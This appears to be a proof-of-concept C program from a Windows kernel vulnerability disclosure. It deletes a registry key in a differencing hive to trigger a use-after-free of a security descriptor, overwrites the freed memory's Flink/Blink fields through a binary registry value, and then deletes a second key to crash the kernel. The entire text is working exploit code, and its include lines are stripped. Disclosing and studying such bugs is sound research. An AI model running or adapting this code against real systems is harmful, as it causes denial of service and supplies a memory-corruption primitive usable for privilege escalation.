#include #include int main() { HKEY hHiveList, hLayeredKey; WCHAR wchValueName[200]; DWORD cchValueName; LSTATUS st; NTSTATUS Status; // // Open the root key of the differencing hive. // HKEY hRootKey; st = RegOpenKeyExW(HKEY_USERS, L"Test", 0, KEY_ALL_ACCESS, &hRootKey); if (st != ERROR_SUCCESS) { printf("RegOpenKeyExW failed with error %d\n", st); return 1; } // // Delete SubKey1, which triggers the bug by forcibly freeing // SubKey1\Tombstone (both a predefined key and a tombstone) and freeing the // security descriptor despite other active references to it. // st = RegDeleteKeyW(hRootKey, L"SubKey1"); if (st != ERROR_SUCCESS) { printf("RegDeleteKeyW failed with error %d\n", st); return 1; } // // Overwrite the freed security descriptor through a data value in the root // key. // CONST INT kValueSize = 12; BYTE data[kValueSize] = { /* zero */ }; *(DWORD*)&data[0x4] = 0x200000; // _CM_KEY_SECURITY.Flink *(DWORD*)&data[0x8] = 0x200000; // _CM_KEY_SECURITY.Blink st = RegSetValueExW(hRootKey, L"Value", 0, REG_BINARY, data, kValueSize); if (st != ERROR_SUCCESS) { printf("RegSetValueExW failed with error %d\n", st); return 1; } // // Attempt to delete SubKey2, which shares the freed and overwritten security // descriptor. This should crash the kernel while trying to resolve the // invalid Flink/Blink cell indexes. // st = RegDeleteKeyW(hRootKey, L"SubKey2"); if (st != ERROR_SUCCESS) { printf("RegDeleteKeyW failed with error %d\n", st); return 1; } RegCloseKey(hRootKey); return 0; }